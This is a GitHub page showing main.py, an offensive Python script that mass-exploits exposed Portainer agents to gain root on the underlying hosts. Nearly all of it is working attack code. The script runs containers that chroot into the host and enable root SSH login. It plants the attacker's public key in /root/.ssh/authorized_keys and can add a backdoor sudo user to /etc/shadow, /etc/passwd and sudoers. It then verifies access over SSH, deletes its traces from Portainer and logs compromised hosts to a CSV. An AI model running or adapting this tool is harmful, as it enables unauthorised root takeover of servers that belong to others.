-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.py
More file actions
executable file
·397 lines (380 loc) · 25 KB
/
main.py
File metadata and controls
executable file
·397 lines (380 loc) · 25 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
#! /usr/bin/env python3
import sys, json, requests, warnings, paramiko
from pathlib import Path
from datetime import date
from getpass import getpass
from base64 import b64encode
from optparse import OptionParser
from time import strftime, localtime, sleep
from colorama import Fore, Back, Style
from multiprocessing import Pool, Lock, cpu_count
portainer_remote_root_shell_exploit_directory = "Portainer-Remote-Root-Shell-Exploit"
cwd = Path.cwd()
sys.path.append(portainer_remote_root_shell_exploit_directory)
from portainer_exploit import *
from portainer_exploit import Portainer as PortainerExploit
sys.path.append(str(cwd))
status_color = {
'+': Fore.GREEN,
'-': Fore.RED,
'*': Fore.YELLOW,
':': Fore.CYAN,
' ': Fore.WHITE
}
lock = Lock()
process_count = cpu_count()
restart_portainer_agent = True
restart_portainer_agent_command = "image=$(docker ps | grep portainer | grep agent | grep PORTAINER_AGENT_PORT | cut -d ' ' -f4) && container_id=$(docker container stop $(docker ps | grep portainer | grep agent | grep PORTAINER_AGENT_PORT | cut -d ' ' -f1)) && docker container rm $container_id >/dev/null 2>/dev/null && docker run -d -p PORTAINER_AGENT_PORT:9001 --name portainer_agent --restart=always -v /var/run/docker.sock:/var/run/docker.sock -v /var/lib/docker/volumes:/var/lib/docker/volumes -v /:/host $image >/dev/null 2>/dev/null && echo $?"
warnings.filterwarnings('ignore')
def display(status, data, start='', end='\n'):
print(f"{start}{status_color[status]}[{status}] {Fore.BLUE}[{date.today()} {strftime('%H:%M:%S', localtime())}] {status_color[status]}{Style.BRIGHT}{data}{Fore.RESET}{Style.RESET_ALL}", end=end)
def get_arguments(*args):
parser = OptionParser()
for arg in args:
parser.add_option(arg[0], arg[1], dest=arg[2], help=arg[3])
return parser.parse_args()[0]
class Portainer(PortainerExploit):
endpoint_delete_api = "/api/endpoints/delete"
endpoint_types = {
"docker": 1,
"agent": 2,
"azure": 3,
"edge": 4,
"kubernetes": 5
}
def addEndpoint(self, endpoint_name, endpoint_type, endpoint_engine, endpoint_url, tls, tls_skip_verify, tls_skip_client_verify):
form_data = {
"Name": endpoint_name,
"EndpointCreationType": Portainer.endpoint_types[endpoint_type],
"ContainerEngine": endpoint_engine,
"URL": endpoint_url,
"TLS": json.dumps(tls),
"TLSSkipVerify": json.dumps(tls_skip_verify),
"TLSSkipClientVerify": json.dumps(tls_skip_client_verify)
}
response = requests.post(f"{self.url}{Portainer.endpoints_api}", headers=self.headers, data=form_data, verify=False)
return (True, response.json()) if response.status_code // 100 == 2 else (False, None)
def deleteEndpoint(self, endpoint_id):
json_data = {
"endpoints": [
{
"deleteCluster": False,
"id": endpoint_id
}
]
}
response = requests.post(f"{self.url}{Portainer.endpoint_delete_api}", headers=self.headers, json=json_data, verify=False)
return True if response.status_code // 100 == 2 else False
def exploit(self, public_key, private_key_file_path, private_key_passphrase, user, ssh_password, check_ssh_port=True, endpoints=None, restart_agent=True):
endpoint_status = self.getEndpoints()
if not endpoint_status:
return []
exploit_statuses = []
endpoints = self.endpoints if endpoints == None else endpoints
for index, endpoint in enumerate(endpoints):
images = self.getEndpointImages(endpoint)
if not images:
exploit_statuses.append([False, False, False])
continue
required_image_found, required_image_name = False, None
for image in images:
if image["RepoTags"] == None:
continue
available_images = [available_image.split(':')[0] for available_image in image["RepoTags"]]
for allowed_image in Portainer.allowed_images:
if allowed_image in available_images:
for available_image in image["RepoTags"]:
if available_image.startswith(allowed_image):
with lock:
display('+', f"Found Image {Back.MAGENTA}{available_image}{Back.RESET} on {Back.MAGENTA}{endpoint['Name']}{Back.RESET}")
required_image_found = True
required_image_name = available_image
break
break
if required_image_found:
break
else:
with lock:
display('-', f"Any Preinstalled usable Docker Image not found on {Back.MAGENTA}{endpoint['Name']}{Back.RESET}!")
required_image_name = Portainer.default_image_name
with open(Portainer.image_file, 'rb') as file:
image_data = file.read()
with lock:
display('*', f"Pushing Image {Back.MAGENTA}{required_image_name}{Back.RESET} to {Back.MAGENTA}{endpoint['Name']}{Back.RESET}")
image_push_status = self.pushEndpointImage(endpoint, image_data)
if not image_push_status:
with lock:
display('-', f"Failed to Push Image {Back.MAGENTA}{required_image_name}{Back.RESET} to {Back.MAGENTA}{endpoint['Name']}{Back.RESET}")
exploit_statuses.append([False, False, False])
continue
commands = ""
if check_ssh_port:
try:
ssh_port_status = check_port(endpoint['Name'].split(':')[0], Portainer.ssh_port)
except:
ssh_port_status = False
if not ssh_port_status:
with lock:
display(':', f"SSH was not Running on {Back.MAGENTA}{endpoint['Name']}{Back.RESET}. Adding Configuration Scripts in CRONJOB!")
commands += Portainer.ssh_configure_commands
else:
ssh_port_status = True
with lock:
display('+', f"Using Image {Back.MAGENTA}{required_image_name}{Back.RESET} on {Back.MAGENTA}{endpoint['Name']}{Back.RESET}")
display('-', f"Exploiting {Back.MAGENTA}{endpoint['Name']}{Back.RESET}...")
useradd = False
pkey_commands = commands + f"grep -v 'PermitRootLogin' /etc/ssh/sshd_config > /tmp/sshd_config_0 && grep -v 'PubkeyAuthentication' /tmp/sshd_config_0 > /tmp/sshd_config && rm -f /tmp/sshd_config_0 && mv -f /tmp/sshd_config /etc/ssh/sshd_config && echo 'PubkeyAuthentication yes' >> /etc/ssh/sshd_config && echo 'PermitRootLogin yes' >> /etc/ssh/sshd_config && grep -v 'Port' /etc/ssh/sshd_config >/tmp/sshd_config && mv -f /tmp/sshd_config /etc/ssh/sshd_config && echo Port 22 >> /etc/ssh/sshd_config && echo '' >> /root/.ssh/authorized_keys && grep '{public_key}' -v /root/.ssh/authorized_keys > /tmp/authorized_keys && mv /tmp/authorized_keys /root/.ssh/authorized_keys && echo {public_key} >> /root/.ssh/authorized_keys"
with lock:
display(':', f"Using Image {Back.MAGENTA}{required_image_name}{Back.RESET} on {Back.MAGENTA}{endpoint['Name']}{Back.RESET} to Create a Container")
container_id = self.createEndpointContainer(endpoint, Portainer.container_name, required_image_name, f"chroot /host /bin/bash -c \"{pkey_commands}\"")
if not container_id:
with lock:
display('-', f"Failed to Create Container on {Back.MAGENTA}{endpoint['Name']}{Back.RESET}")
exploit_statuses.append([False, False, False])
continue
with lock:
display('+', f"Container created with Image {Back.MAGENTA}{required_image_name}{Back.RESET} on {Back.MAGENTA}{endpoint['Name']}{Back.RESET}")
display(':', f"Starting the Container on {Back.MAGENTA}{endpoint['Name']}{Back.RESET}")
start_status = self.startEndpointContainer(endpoint, container_id)
if not start_status:
with lock:
display('-', f"Failed to start Container on {Back.MAGENTA}{endpoint['Name']}{Back.RESET}")
exploit_statuses.append([False, False, False])
continue
with lock:
display('+', f"Started the Container on {Back.MAGENTA}{endpoint['Name']}{Back.RESET}")
display(':', f"Waiting for the Container on {Back.MAGENTA}{endpoint['Name']}{Back.RESET} to finish Execution")
container_exit_status = self.waitEndpointContainer(endpoint, container_id)
with lock:
display('+', f"Container on {Back.MAGENTA}{endpoint['Name']}{Back.RESET} finished Executing")
display(':', f"Deleting Container on {Back.MAGENTA}{endpoint['Name']}{Back.RESET}")
delete_status = self.deleteEndpointContainer(endpoint, container_id)
if not delete_status:
with lock:
display('-', f"Failed to Delete Container on {Back.MAGENTA}{endpoint['Name']}{Back.RESET}")
else:
with lock:
display('+', f"Deleted Container on {Back.MAGENTA}{endpoint['Name']}{Back.RESET}")
with lock:
display(':', f"Checking if Target {Back.MAGENTA}{endpoint['Name']}{Back.RESET} was successfully exploited or not")
exploit_check_status, info = self.check_exploit(endpoint['Name'].split(':')[0], private_key_file_path, private_key_passphrase, wait=False if ssh_port_status else True)
if exploit_check_status:
with lock:
display('+', f"Successfully Exploited Target => {Back.MAGENTA}{endpoint['Name']}{Back.RESET} ({Back.MAGENTA}{info}{Back.RESET})")
else:
with lock:
display('-', f"Failed to Exploit Target {Back.YELLOW}{endpoint['Name']}{Back.RESET} {info}")
if user:
display(':', f"Adding user {Back.MAGENTA}{user}{Back.RESET} on Target {Back.MAGENTA}{endpoint['Name']}{Back.RESET}")
if user:
with lock:
display(':', f"Using Image {Back.MAGENTA}{required_image_name}{Back.RESET} on {Back.MAGENTA}{endpoint['Name']}{Back.RESET} to Create a Container")
ssh_password_base64 = b64encode(ssh_password.encode()).decode()
user_commands = commands + f"grep -v 'PermitRootLogin' /etc/ssh/sshd_config > /tmp/sshd_config_0 && grep -v 'PasswordAuthentication' /tmp/sshd_config_0 > /tmp/sshd_config && rm -f /tmp/sshd_config_0 && mv -f /tmp/sshd_config /etc/ssh/sshd_config && echo 'PasswordAuthentication yes' >> /etc/ssh/sshd_config && echo 'PermitRootLogin yes' >> /etc/ssh/sshd_config && grep -v 'Port' /etc/ssh/sshd_config >/tmp/sshd_config && mv -f /tmp/sshd_config /etc/ssh/sshd_config && echo Port 22 >> /etc/ssh/sshd_config && echo -n {user}: >> /etc/shadow && echo -n '{ssh_password_base64}' | base64 --decode >> /etc/shadow && echo :{shadow_file_ending} >> /etc/shadow && echo '{user}:x:'{get_unique_uid}{passwd_file_ending} >> /etc/passwd && echo '{user} ALL=(ALL:ALL) ALL' >> /etc/sudoers"
container_id = self.createEndpointContainer(endpoint, Portainer.container_name, required_image_name, f"chroot /host /bin/bash -c \"{user_commands}\"")
if not container_id:
with lock:
display('-', f"Failed to Create Container on {Back.MAGENTA}{endpoint['Name']}{Back.RESET}")
exploit_statuses.append([False, False, False])
continue
with lock:
display('+', f"Container created with Image {Back.MAGENTA}{required_image_name}{Back.RESET} on {Back.MAGENTA}{endpoint['Name']}{Back.RESET}")
display(':', f"Starting the Container on {Back.MAGENTA}{endpoint['Name']}{Back.RESET}")
start_status = self.startEndpointContainer(endpoint, container_id)
if not start_status:
with lock:
display('-', f"Failed to start Container on {Back.MAGENTA}{endpoint['Name']}{Back.RESET}")
exploit_statuses.append([False, False, False])
continue
with lock:
display('+', f"Started the Container on {Back.MAGENTA}{endpoint['Name']}{Back.RESET}")
display(':', f"Waiting for the Container on {Back.MAGENTA}{endpoint['Name']}{Back.RESET} to finish Execution")
container_exit_status = self.waitEndpointContainer(endpoint, container_id)
with lock:
display('+', f"Container on {Back.MAGENTA}{endpoint['Name']}{Back.RESET} finished Executing")
display(':', f"Deleting Container on {Back.MAGENTA}{endpoint['Name']}{Back.RESET}")
delete_status = self.deleteEndpointContainer(endpoint, container_id)
if not delete_status:
with lock:
display('-', f"Failed to Delete Container on {Back.MAGENTA}{endpoint['Name']}{Back.RESET}")
else:
with lock:
display('+', f"Deleted Container on {Back.MAGENTA}{endpoint['Name']}{Back.RESET}")
with lock:
display(':', f"Checking if Target {Back.MAGENTA}{endpoint['Name']}{Back.RESET} was successfully exploited or not")
exploit_check_status, info = self.check_exploit(endpoint['Name'].split(':')[0], user=user, password=user_password)
with lock:
if exploit_check_status:
useradd = True
display('+', f"Successfully Exploited Target => {Back.MAGENTA}{endpoint['Name']}{Back.RESET} ({Back.MAGENTA}{info}{Back.RESET})")
else:
display('-', f"Failed to Exploit Target {Back.YELLOW}{endpoint['Name']}{Back.RESET} {info}")
if not required_image_found:
with lock:
display(':', f"Deleting Image {Back.MAGENTA}{required_image_name}{Back.RESET} on {Back.MAGENTA}{endpoint['Name']}{Back.RESET}")
image_delete_status = self.removeEndpointImage(endpoint, required_image_name)
if not image_delete_status:
with lock:
display('-', f"Failed to Delete Image {Back.MAGENTA}{required_image_name}{Back.RESET} on {Back.MAGENTA}{endpoint['Name']}{Back.RESET}")
else:
with lock:
display('+', f"Deleted Image {Back.MAGENTA}{required_image_name}{Back.RESET} on {Back.MAGENTA}{endpoint['Name']}{Back.RESET}")
exploit_statuses.append([True if container_exit_status == 0 and exploit_check_status else False, useradd, endpoint])
try:
with lock:
display(':', f"Removing Endpoint {Back.MAGENTA}{endpoint['Name']}{Back.RESET} from Portainer")
endpoint_removal_status = self.deleteEndpoint(endpoint["Id"])
if not endpoint_removal_status:
display('-', f"Falied to Remove Endpoint {Back.MAGENTA}{endpoint['Name']}{Back.RESET} from Portainer => {Back.YELLOW}{error}{Back.RESET}")
else:
display('+', f"Removed Endpoint {Back.MAGENTA}{endpoint['Name']}{Back.RESET} from Portainer")
except Exception as error:
display('-', f"Falied to Remove Endpoint {Back.MAGENTA}{endpoint['Name']}{Back.RESET} from Portainer => {Back.YELLOW}{error}{Back.RESET}")
if restart_agent:
try:
display(':', f"Restarting Portainer Agent on {Back.MAGENTA}{endpoint['Name']}{Back.RESET}")
command = restart_portainer_agent_command.replace("PORTAINER_AGENT_PORT", endpoint["Name"].split(':')[1])
ssh_status, command_output = self.check_exploit(endpoint["Name"].split(':')[0], user=user, password=user_password, command=command) if useradd else self.check_exploit(endpoint["Name"].split(':')[0], private_key_file_path, private_key_passphrase, wait=False if ssh_port_status else True, command=command)
if command_output == '0':
display('+', f"Restarted Portainer Agent on {Back.MAGENTA}{endpoint['Name']}{Back.RESET}")
else:
display('-', f"Failed to Restart Portainer Agent on {Back.MAGENTA}{endpoint['Name']}{Back.RESET}")
except Exception as error:
display('-', f"Failed to Restart Portainer Agent on {Back.MAGENTA}{endpoint['Name']}{Back.RESET} => {Back.YELLOW}{error}{Back.RESET}")
return exploit_statuses
def check_exploit(self, ip, private_key_file_path=None, private_key_passphrase=None, user="root", password=None, wait=False, port=22, command="uname -a"):
if wait:
sleep(Portainer.cronjob_sleep_time)
ssh_client = paramiko.SSHClient()
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
private_key = paramiko.RSAKey.from_private_key_file(private_key_file_path, private_key_passphrase) if private_key_file_path != None else None
ssh_client.connect(ip, port=port, username=user, pkey=private_key, look_for_keys=False, allow_agent=False) if private_key != None else ssh_client.connect(ip, port=port, username=user, password=password, look_for_keys=False, allow_agent=False)
stdin, stdout, stderr = ssh_client.exec_command(command)
info = stdout.readlines()[0]
ssh_client.close()
return True, info.replace('\n', '')
except Exception as error:
return False, error
def addEnvironments(portainer_interface, targets):
successfully_added_environments = {}
for target in targets:
try:
environment_status, environment_info = portainer_interface.addEndpoint(target, "agent", "docker", f"tcp://{target}", True, True, True)
if environment_status:
successfully_added_environments[target] = environment_info
with lock:
display(':', f"Added Environment => {Back.MAGENTA}{target}{Back.RESET}")
except:
pass
return successfully_added_environments
if __name__ == "__main__":
arguments = get_arguments(('-t', "--target", "target", "Target Portainer Agents (seperated by ',' or file containing Target List)"),
('-p', "--keys-path", "key_path", "Path for Public Key for SSH (Leave Empty to Generate New)"),
('-u', "--user", "user", "User to Add in the Target Machine (If Public Key Authentication Fails)"),
('-c', "--check-port", "check_port", f"Check SSH Port (True/False, Default={check_ssh})"),
('-r', "--restart-agent", "restart_agent", f"Restart Portainer Agent on Target Machine (True/False, Default={restart_portainer_agent})"),
('-w', "--write", "write", "File to Dump Successful Exploited Targets (default=current data and time)"))
if not arguments.target:
display('-', f"Please specify Targets")
exit(0)
else:
try:
with open(arguments.target, 'r') as file:
arguments.target = [line.strip() for line in file.read().split('\n') if line.strip() != '']
except FileNotFoundError:
arguments.target = arguments.target.split(',')
except Exception as error:
display('-', f"Error Occured while Reading File {Back.MAGENTA}{arguments.target}{Back.RESET} => {Back.YELLOW}{error}{Back.RESET}")
exit(0)
if arguments.key_path:
try:
with open(f"{arguments.key_path}.pub", 'r') as file:
arguments.public_key = file.read().replace('\n', '').strip()
key_passphrase = getpass(f"Enter Passpharse for {arguments.key_path} : ")
key_path = arguments.key_path
except FileNotFoundError:
key_path, key_passphrase = generatePublicPrivateKeys()
try:
with open(f"{key_path}.pub", 'r') as file:
arguments.public_key = file.read().replace('\n', '').strip()
except Exception as error:
display('-', f"Error Occured while Reading Public Key File {Back.MAGENTA}{key_path}.pub{Back.RESET} => {Back.YELLOW}{error}{Back.RESET}")
exit(0)
except Exception as error:
display('-', f"Error Occured while Reading Public Key File {Back.MAGENTA}{arguments.public_key}{Back.RESET} => {Back.YELLOW}{error}{Back.RESET}")
exit(0)
else:
key_path, key_passphrase = generatePublicPrivateKeys()
try:
with open(f"{key_path}.pub", 'r') as file:
arguments.public_key = file.read().replace('\n', '').strip()
except Exception as error:
display('-', f"Error Occured while Reading Public Key File {Back.MAGENTA}{key_path}.pub{Back.RESET} => {Back.YELLOW}{error}{Back.RESET}")
exit(0)
if not arguments.user:
arguments.user = None
user_password = generatePassword(0)
display('*', f"No User Provided")
else:
user_password = getpass(f"Enter the Password for {arguments.user} : ")
if arguments.check_port == "False":
arguments.check_port = False
else:
arguments.check_port = check_ssh
if arguments.restart_agent == "False":
arguments.restart_agent = False
else:
arguments.restart_agent = restart_portainer_agent
if not arguments.write:
arguments.write = f"{date.today()} {strftime('%H_%M_%S', localtime())}.csv"
try:
with open("portainer_config.json", 'r') as file:
portainer_config = json.load(file)
except FileNotFoundError:
display('-', f"Portainer Configuration File not Found!")
exit(0)
except Exception as error:
display('-', f"Error Occurred while loading Portainer Configuration => {Back.YELLOW}{error}{Back.RESET}")
# Authenticating Portainer
display('+',f"Authenticating Portainer")
portainer = Portainer(portainer_config["host"], portainer_config["port"], portainer_config["scheme"])
authentication_status = portainer.auth(portainer_config["username"], portainer_config["password"])
if not authentication_status:
display('-', f"Portainer Authentication Failed")
# Adding Environments
total_targets = len(arguments.target)
display('+', f"Adding {total_targets} Environment{'' if total_targets == 1 else 's'} to Portainer")
added_environments = {}
pool = Pool(process_count)
target_divisions = [arguments.target[total_targets*process_index//process_count: total_targets*(process_index+1)//process_count] for process_index in range(process_count)]
processes = []
for process_index, target_division in enumerate(target_divisions):
processes.append(pool.apply_async(addEnvironments, (portainer, target_division, )))
for process in processes:
added_environments.update(process.get())
pool.close()
pool.join()
display('+', f"Added {len(added_environments)} Environment{'' if len(added_environments) == 1 else 's'} to Portainer")
# Exploitation
endpoint_status = portainer.getEndpoints()
if not endpoint_status:
display('*', f"No Endpoint Found!")
exit(0)
total_endpoints = len(portainer.endpoints)
exploitation_status = []
pool = Pool(process_count)
endpoint_divisions = [portainer.endpoints[process_index*total_endpoints//process_count: (process_index+1)*total_endpoints//process_count] for process_index in range(process_count)]
processes = []
for process_index, endpoint_division in enumerate(endpoint_divisions):
processes.append(pool.apply_async(portainer.exploit, (arguments.public_key, key_path, key_passphrase, arguments.user, generateHash(user_password), arguments.check_port, endpoint_division, arguments.restart_agent, )))
for process in processes:
exploitation_status.extend(process.get())
pool.close()
pool.join()
# Dumping of Successfully Exploited Environments
if type(exploitation_status) == list and len([None for exploit_status, useradd, endpoint_details in exploitation_status if exploit_status]) > 0:
display(':', f"Dumping Successfully Exploited Environments to File {Back.MAGENTA}{arguments.write}{Back.RESET}")
with open(arguments.write, 'w') as file:
file.write(f"IP,PORT,KEY/USER\n")
file.write('\n'.join(f"{endpoint_details['Name'].split(':')[0]},{endpoint_details['Name'].split(':')[1]},{'USER' if useradd else 'KEY'}" for exploit_status, useradd, endpoint_details in exploitation_status if exploit_status))